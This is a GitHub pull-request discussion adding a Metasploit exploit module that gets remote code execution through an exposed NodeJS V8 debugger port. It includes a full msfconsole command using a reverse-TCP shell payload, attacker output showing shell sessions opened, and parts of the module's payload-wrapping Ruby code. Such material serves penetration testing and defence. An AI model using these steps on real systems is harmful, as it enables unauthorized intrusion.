Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Nodejs v8 debugger eval exploit #8931

Merged
merged 6 commits into from
Sep 25, 2017

Conversation

coffeetocode
Copy link
Contributor

@coffeetocode coffeetocode commented Sep 7, 2017

This module uses the "evaluate" request type of the NodeJS V8
debugger protocol (version 1) to evaluate arbitrary JS resulting
in RCE.

(This is my first exploit PR; any feedback welcome)

Target Setup

Current and historical versions of node (or any JS env based on the V8 JS engine) have this functionality and could be exploitable if configured to expose the JS port on an untrusted interface. In particular, versions of Node released between April 2014 and Aug 2016 incorrectly bound this in default configurations.

Install a version of node using any of the normal methods:

Alternately, use standard node docker containers as targets:

$ docker run -it --rm -p 5858:5858 node:4-wheezy node --debug=0.0.0.0:5858

(Others at https://hub.docker.com/_/node/)

Tested on Node 7.x, 6.x, 4.x

Verification

Important: Exploiting modern node relies on a (submitted but not yet merged)
bugfix for the nodejs/shell_reverse_tcp payload: #8825
Make sure you have that patch applied before testing against node >= 5.3.0.

  1. Run a node process exposing the debug port
node --debug=0.0.0.0:5858 
  1. Exploit it and catch the callback:
msfconsole -x "use exploit/multi/misc/nodejs_v8_debugger; set RHOST 127.0.0.1; set PAYLOAD nodejs/shell_reverse_tcp; set LHOST 127.0.0.1; handler -H 0.0.0.0 -P 4444 -p nodejs/shell_reverse_tcp; exploit

(If using docker hosts as targets for testing, ensure that LHOST addr is accessible to the container)

Note that in older Node versions (notably 4.8.4), the debugger will not immediately process the incoming eval message. As soon as there is some kind of activity (such as a step or continue in the debugger, or just hitting enter), the payload will execute and the handler session will start.

Example Run

Node 7.x

Victim:

$ node --version
v7.10.0
$ node --debug=0.0.0.0:5858
(node:83089) DeprecationWarning: node --debug is deprecated. Please use node --inspect instead.
Debugger listening on 0.0.0.0:5858
>
(To exit, press ^C again or type .exit)

Attacker:

msf exploit(nodejs_v8_debugger) > exploit

[*] Started reverse TCP handler on 10.0.0.141:4444
[*] 127.0.0.1:5858 - Sending 745 byte payload...
[*] 127.0.0.1:5858 - Got success response
[*] Command shell session 4 opened (10.0.0.141:4444 -> 10.0.0.141:53168) at 2017-09-04 00:37:17 -0700

id
(redacted)

print_error("Got unexpected response: #{buf}")
end

handler
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Shouldn't be necessary to call handler explicitly here.

return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Unknown
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can drop the explicit return here if you'd like.

escaped_payload = payload.encoded.gsub(/"/, '\\"')
msg_body = MESSAGE_TEMPLATE % {:payload => escaped_payload}
msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
return msg_header + msg_body
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

end

def make_eval_message
escaped_payload = payload.encoded.gsub(/"/, '\\"')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Your indentation is off here.

@wvu
Copy link
Contributor

wvu commented Sep 7, 2017

Clean first submission. :)

escaped_payload = payload.encoded.gsub(/"/, '\\"')
msg_body = MESSAGE_TEMPLATE % {:payload => escaped_payload}
msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
return msg_header + msg_body
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

One more return. :)

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is it too late to complain about Ruby's implicit returns? :)

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I kind of hate it, tbqh. Same with unless and the lack of parens for method definitions and calls. You can do what you want. :P

@coffeetocode
Copy link
Contributor Author

@wvu-r7 One thing I couldn't figure out was what target specification to provide that wouldn't include the generic payloads, since they're not applicable here.

Only nodejs code is valid as a drop-in payload, so I wouldn't want the default to be a generic that won't work:

msf exploit(nodejs_v8_debugger) > show payloads

Compatible Payloads
===================

   Name                          Disclosure Date  Rank    Description
   ----                          ---------------  ----    -----------
   generic/custom                                 normal  Custom Payload
   generic/shell_bind_tcp                         normal  Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                      normal  Generic Command Shell, Reverse TCP Inline
   nodejs/shell_bind_tcp                          normal  Command Shell, Bind TCP (via nodejs)
   nodejs/shell_reverse_tcp                       normal  Command Shell, Reverse TCP (via nodejs)
   nodejs/shell_reverse_tcp_ssl                   normal  Command Shell, Reverse TCP SSL (via nodejs)

Thoughts?

# 'Arch' => [ ARCH_NODEJS ],
'Targets' =>
[
['NodeJS', { 'Platform' => 'nodejs', 'Arch' => 'nodejs' } ],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Did you want this to be ARCH_NODEJS?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

That might be the answer to the question above. Wasn't clear to me from looking at other modules which was the preferred way of specifying. Let me know if you've got a suggestion.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I usually go by the compatible payloads.

@wvu
Copy link
Contributor

wvu commented Sep 7, 2017

generic payloads won't work? They should work given the correct platform and arch.

@wvu wvu self-assigned this Sep 7, 2017
@coffeetocode
Copy link
Contributor Author

Nope, my mistake. generic payloads work fine.

msf exploit(nodejs_v8_debugger) > unset payload
Unsetting payload...
msf exploit(nodejs_v8_debugger) > exploit

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] 127.0.0.1:5858 - Sending 744 byte payload...
[*] 127.0.0.1:5858 - Got success response
[*] Command shell session 3 opened

I was remembering that from when I had my target spec goofed up.

Copy link
Contributor

@sempervictus sempervictus left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Neat, thanks, adding to test queue.

@@ -28,8 +28,6 @@ def initialize(info={})
[ 'URL', 'https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md' ],
[ 'URL', 'https://github.com/nodejs/node/pull/8106' ]
],
# 'Platform' => ['node'],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

While these aren't necessary, since you already have them in the target, the info command won't show platform if it's not top-level. I found this the other day working on the Struts exploit.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe I'll fix this in the library.

@coffeetocode
Copy link
Contributor Author

PR #8825 was recently merged, so the comment in "Verification" no longer applies; this exploit will now work using master branch.

@wvu
Copy link
Contributor

wvu commented Sep 18, 2017

Yup, thanks to @jmartin-r7 for that. I'll get this landed shortly.

wvu added a commit to wvu/metasploit-framework that referenced this pull request Sep 25, 2017
@wvu wvu merged commit 2966fb7 into rapid7:master Sep 25, 2017
@tdoan-r7
Copy link
Contributor

Release Notes

The NodeJS Debugger Command Injection module has been added to the framework.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants